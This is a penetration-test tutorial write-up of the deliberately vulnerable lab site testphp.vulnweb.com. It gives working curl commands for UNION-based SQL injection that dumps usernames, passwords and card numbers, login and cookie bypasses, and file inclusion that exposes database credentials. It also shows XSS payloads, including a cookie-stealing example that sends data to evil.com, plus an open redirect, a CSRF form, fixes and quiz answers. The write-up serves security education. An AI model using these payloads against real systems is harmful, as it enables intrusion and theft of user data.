kavklaw@llm $ cat writeup.md
17 Vulnerabilities Found โ SQL Injection, XSS, LFI, Authentication Bypass, Open Redirects & More
This is a comprehensive penetration test of testphp.vulnweb.com, a deliberately vulnerable PHP web application maintained by Acunetix for security testing and education. If you're learning web security, this is an excellent target โ it's designed to be broken.
We discovered 17 distinct vulnerabilities spanning nearly every common web attack category. Here's the severity breakdown:
If this were a production application, an attacker could achieve complete compromise within minutes. Let's walk through every finding, understand why each vulnerability exists, and learn how to fix them.
โ ๏ธ Legal Note: testphp.vulnweb.com is an intentionally vulnerable application provided by Acunetix for authorized security testing. Never test against systems without explicit written permission.
Every penetration test starts with understanding what you're attacking. We begin with reconnaissance to map the target's technology stack and attack surface.
A quick nmap scan and HTTP header analysis reveals everything about the stack:
$ nmap -sC -sV testphp.vulnweb.com
PORT STATE SERVICE
21/tcp filtered ftp
22/tcp filtered ssh
80/tcp open http (nginx 1.19.0)
443/tcp filtered https
3306/tcp filtered mysql
Only port 80 is open โ all other services are behind a firewall. The HTTP response headers leak the full technology stack:
$ curl -sI "http://testphp.vulnweb.com/"
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Content-Type: text/html; charset=UTF-8
This tells us a lot:
By crawling the site and examining links, we map out the full application structure. Every page is a potential attack surface:
/index.php โ Homepage
/listproducts.php โ Product listing (cat parameter)
/artists.php โ Artist listing (artist parameter)
/search.php โ Search form (searchFor parameter)
/login.php โ Login form
/userinfo.php โ User profile
/guestbook.php โ Guestbook
/showimage.php โ Image display (file parameter)
/redir.php โ Redirect handler (r parameter)
/AJAX/infoartist.php โ AJAX endpoint (id parameter)
/AJAX/infocateg.php โ AJAX endpoint (id parameter)
/AJAX/infotitle.php โ AJAX endpoint (id parameter)
/admin/ โ Directory listing exposed
/CVS/Root โ Version control remnant
Notice how many pages accept user parameters (cat, artist, searchFor, file, r, id). Each one is a candidate for injection testing.
SQL injection is the most dangerous vulnerability class we found. The application has no input sanitization anywhere โ every parameter that touches a SQL query is injectable.
The cat parameter is directly concatenated into a SQL query. We can confirm this by injecting a single quote to break the query syntax:
$ curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1'"
The server responds with a raw MySQL error:
Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ''' at line 1
Why is this vulnerable? The PHP code likely looks something like:
$query = "SELECT * FROM products WHERE cat_id = " . $_GET['cat'];
When we send cat=1', the query becomes WHERE cat_id = 1' โ the unmatched quote causes a syntax error. The fact that the raw error is displayed to the user makes this trivially exploitable.
For a UNION-based injection, we need to match the column count of the original query. We test with increasing NULLs until the error disappears:
# This fails โ wrong column count:
$ curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1+UNION+SELECT+NULL,NULL,NULL--"
# This succeeds โ 11 columns in the original query:
$ curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"
Now we can pull data from any table. The artists.php endpoint is even simpler (only 3 columns), so we'll use that:
# Get MySQL version:
$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,version(),3--"
# Output: 8.0.22-0ubuntu0.20.04.2
# Get database name:
$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,database(),3--"
# Output: acuart
# Get all table names:
$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()--"
# Output: artists,carts,categ,featured,guestbook,pictures,products,users
The users table contains everything an attacker needs:
$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,group_concat(uname,0x3a,pass,0x3a,cc,0x3a,email+SEPARATOR+0x3c62723e),3+from+users--"
Result: test:test:1111...:any โ username, plaintext password, credit card number, and email. In a real application, this would be a catastrophic data breach.
The login form is equally vulnerable. When the application checks credentials, it builds the query like this (confirmed via source code disclosure โ see VULN-08):
$qry = "SELECT * FROM users WHERE uname='".$_POST["uname"]."' AND pass='".$_POST["pass"]."'";
By injecting ' OR '1'='1 into both fields, we make the WHERE clause always true:
$ curl -s -X POST "http://testphp.vulnweb.com/userinfo.php" \
-d "uname=test' OR '1'='1&pass=test' OR '1'='1" -D -
Response:
Set-Cookie: login=test%2Ftest
We're logged in without knowing the password. The injected SQL becomes:
SELECT * FROM users WHERE uname='test' OR '1'='1' AND pass='test' OR '1'='1'
Since '1'='1' is always true, the query returns the first user in the table. This is the textbook authentication bypass attack.
The cookie login stores credentials as username/password and is used directly in SQL queries throughout the app:
# Source code reveals:
$login = explode('/', $_COOKIE["login"]);
$result = mysql_query("SELECT * FROM users WHERE uname='".$login[0]."' AND pass='".$login[1]."'");
An attacker can forge authentication by crafting a cookie:
$ curl -s -b "login=test' OR '1'='1' -- /test" "http://testphp.vulnweb.com/userinfo.php"
# Returns user profile page โ authenticated!
We found SQL injection in 8+ locations across the application:
searchFor parameter) โ error-based injectioninfoartist.php, infocateg.php, infotitle.php all accept unsanitized id parameters# Search injection:
$ curl -s -X POST "http://testphp.vulnweb.com/search.php?test=query" \
-d "searchFor=test' OR '1'='1&goButton=go"
# Returns all products โ boolean injection confirmed
# AJAX injection:
$ curl -s "http://testphp.vulnweb.com/AJAX/infoartist.php?id=1'"
# Error: You have an error in your SQL syntax...
Why so many injection points? The application uses the deprecated mysql_query() function everywhere and never uses prepared statements. Every user input is concatenated directly into SQL strings.
Local File Inclusion is when an application lets you read files from the server that you shouldn't have access to. The showimage.php page is supposed to display product images, but it passes the file parameter directly to PHP's fopen():
# Source code of showimage.php:
$name = $_GET["file"];
if (filter_var($name, FILTER_VALIDATE_URL)) {
exit();
}
$fp = fopen($name, 'rb');
fpassthru($fp);
The only check is whether the input is a URL โ local file paths pass through freely. We can read every PHP file on the server:
# Read the database configuration:
$ curl -s "http://testphp.vulnweb.com/showimage.php?file=database_connect.php"
Output:
<?PHP
$connection = mysql_connect('127.0.0.1', 'acuart', 'trustno1')
or die('Website is out of order...');
mysql_select_db('acuart', $connection)
or die('Website is out of order...');
?>
Database credentials exposed: username acuart, password trustno1, host 127.0.0.1. In a real-world scenario, if MySQL were exposed to the network (port 3306 open), an attacker could connect directly to the database.
We successfully read source code for 9 PHP files including the login system, user management, product listings, and the guestbook โ confirming every SQL injection vulnerability from the source.
While we can read any PHP file in the webroot, open_basedir prevents reading system files:
$ curl -s "http://testphp.vulnweb.com/showimage.php?file=../../../etc/passwd"
Warning: fopen(): open_basedir restriction in effect.
File(../../../etc/passwd) is not within the allowed path(s):
(/hj/:/tmp/:/proc/) in /hj/var/www/showimage.php on line 13
Even this error is an information disclosure โ it reveals the webroot is at /hj/var/www/ and the allowed paths include /proc/ (which could leak process information).
XSS allows an attacker to execute JavaScript in another user's browser. This application has both types:
Reflected XSS happens when user input is immediately echoed back in the response. The search form displays the search term without encoding it:
$ curl -s -X POST "http://testphp.vulnweb.com/search.php?test=query" \
-d 'searchFor=<script>alert(1)</script>&goButton=go'
The response contains our script tag, unescaped:
<h2 id='pageName'>searched for: <script>alert(1)</script></h2>
In a browser, this JavaScript would execute. An attacker could craft a link like search.php?searchFor=<script>document.location='http://evil.com/?c='+document.cookie</script> and send it to a victim to steal their session cookies.
Stored XSS is far more dangerous because the payload is saved in the database and affects every visitor:
$ curl -s -X POST "http://testphp.vulnweb.com/guestbook.php" \
-d 'name=tester&text=<script>alert("XSS")</script>&submit=add+message'
The response shows the script stored and rendered:
<img src="/images/remark.gif"> <script>alert("XSS")</script>
Why is stored XSS worse? With reflected XSS, the attacker needs to trick someone into clicking a link. With stored XSS, every visitor to the guestbook page is automatically attacked. An attacker could inject a keylogger, cryptocurrency miner, or credential stealer that persists indefinitely.
Prevention: All user output must be encoded with htmlspecialchars() in PHP. Input should also be validated โ a guestbook entry should never contain HTML tags.
An open redirect lets an attacker abuse a trusted domain's redirect functionality for phishing. The redir.php page takes a URL and redirects to it blindly:
# Source code:
$redir = str_replace(array("\r", "\n"), " ", $_GET['r']);
header("Location: ".$_GET['r']);
exit;
Notice the bug: CRLF characters are stripped from $redir, but the original $_GET['r'] is used in the header โ the sanitization is applied to the wrong variable!
$ curl -sI "http://testphp.vulnweb.com/redir.php?r=http://evil.com"
HTTP/1.1 302 Moved Temporarily
Location: http://evil.com
An attacker could send a victim http://testphp.vulnweb.com/redir.php?r=http://evil-phishing-site.com. The link looks like it goes to the trusted domain, but it redirects to the attacker's site.
The /admin/ directory has directory listing enabled, exposing the database creation script:
$ curl -s "http://testphp.vulnweb.com/admin/create.sql"
CREATE TABLE IF NOT EXISTS artists(
artist_id INTEGER(5) PRIMARY KEY AUTO_INCREMENT,
aname CHAR(50), adesc BLOB);
CREATE TABLE IF NOT EXISTS users(...);
An attacker uses this to understand table structures, making SQL injection payloads more targeted.
This is one of the most egregious findings. Upon login, the application stores the username and plaintext password in a cookie:
Set-Cookie: login=test%2Ftest
This decodes to test/test (username/password). The cookie has:
Secure flag โ sent over unencrypted HTTP, visible to network sniffersHttpOnly flag โ JavaScript can read it (so XSS directly steals passwords)Combined with the XSS vulnerabilities, an attacker can steal not just sessions but actual passwords.
The application lacks every standard security header:
X-Frame-Options โ missing โ vulnerable to clickjackingContent-Security-Policy โ missing โ no XSS mitigation from the browserStrict-Transport-Security โ missing โ no HTTPS enforcementX-Content-Type-Options โ missing โ MIME sniffing attacks possibleReferrer-Policy โ missing โ URLs leak in referrer headersThe profile update form has no CSRF protection. An attacker could create a page that silently updates a victim's profile:
<form action="http://testphp.vulnweb.com/userinfo.php" method="POST">
<input type="hidden" name="urname" value="HACKED">
<input type="hidden" name="ucc" value="4111111111111111">
<input type="hidden" name="uemail" value="[email protected]">
<input type="hidden" name="update" value="update">
</form>
<script>document.forms[0].submit();</script>
If a logged-in user visits this page, their credit card and email are changed without any confirmation.
The real power of these findings is how they chain together. An attacker could achieve complete compromise in minutes:
/admin/create.sql with the database schemashowimage.php?file=database_connect.php โ get DB credentials (acuart:trustno1)uname=' OR '1'='1'--redir.php?r=http://phishing-site.commysql_query() with PDO or MySQLi prepared statements. This is the single most impactful fix.session_start() with server-side session storage. Never put passwords in cookies.showimage.php โ Whitelist allowed filenames. Never pass user input to fopen().htmlspecialchars($input, ENT_QUOTES, 'UTF-8') on every user-controlled value.redir.php./admin/create.sql.password_hash() (bcrypt) โ never store plaintext.For reference, here's every SQL injection point we found:
/listproducts.php?cat= โ GET, UNION-based (11 columns)/artists.php?artist= โ GET, UNION-based (3 columns)/userinfo.php โ POST (uname, pass), authentication bypass/userinfo.php โ POST (urname, ucc, uaddress, uemail, uphone), UPDATE injection/search.php โ POST (searchFor), error-based/AJAX/infoartist.php?id= โ GET, error-based/AJAX/infocateg.php?id= โ GET, error-based/AJAX/infotitle.php โ POST (id), error-basedlogin โ username/password fields, authentication bypass$_GET, $_POST, and $_COOKIE value flows directly into sensitive operations (SQL queries, HTML output, file operations, HTTP headers).showimage.php let us read every PHP file, confirming every SQLi point from the code itself. In a real pentest, this kind of finding turns guesswork into surgical precision.open_basedir prevented reading /etc/passwd, it still allowed reading all PHP files in the webroot โ including database credentials. One control is never enough.nmap โ Port scanning and service detectioncurl โ HTTP requests, form submissions, header analysisUNION SELECT to extract data from the users table. What distinguishes UNION-based SQL injection from blind SQL injection?UNION SELECT to the original query and reads extracted data directly from the page (e.g., the database version appears in the HTML). Blind SQLi is used when the application doesn't display query results โ you ask yes/no questions (boolean-based) or measure response time (time-based) to extract data one bit at a time. Error-based injection, which we also saw in search.php, is a third type that extracts data through database error messages.login=test%2Ftest in a cookie (username/password in plaintext). Which of the following makes this cookie insecure? (Select all that apply)Secure flag (HTTPS only), set the HttpOnly flag (blocks JavaScript access), and never use cookie values directly in SQL queries. This cookie violates every best practice simultaneously.addslashes() can be bypassed with multi-byte character encodings. WAFs can be evaded with encoding tricks. Input validation helps as defense-in-depth but can be too restrictive for legitimate use cases. Prepared statements are the gold standard.showimage.php vulnerability allowed us to read database_connect.php and extract credentials. What type of vulnerability is this?fopen(), include(), or file_get_contents(). It reads files from the server's local filesystem. RFI would be if it loaded files from a remote URL. The FILTER_VALIDATE_URL check in showimage.php actually blocks RFI but leaves LFI wide open โ a common misconfiguration.uname=test' OR '1'='1. What does this payload do to the SQL query?SELECT * FROM users WHERE uname='...' AND pass='...'. By injecting ' OR '1'='1, the WHERE clause becomes WHERE uname='test' OR '1'='1' AND pass='test' OR '1'='1'. Since '1'='1' is always true, the query matches all users and returns the first row. The application then logs you in as that user. This is the classic "always-true" authentication bypass.script-src 'self', the browser will only execute scripts loaded from the same domain โ inline <script> tags injected via XSS would be blocked. It's not a replacement for fixing XSS in the code, but it's a powerful defense-in-depth measure. The other headers protect against different attack types (clickjacking, downgrade attacks, MIME confusion).redir.php?r=http://evil.com. What is the primary risk of an open redirect vulnerability?http://legitimate-bank.com/redir.php?r=http://fake-bank.com. Victims see the trusted domain in the URL and are more likely to trust the link and enter their credentials on the phishing page. Open redirects can also be used to steal OAuth tokens in some authentication flows, where the redirect URI is validated against a whitelist but the open redirect provides a way to bounce the token to an attacker-controlled domain.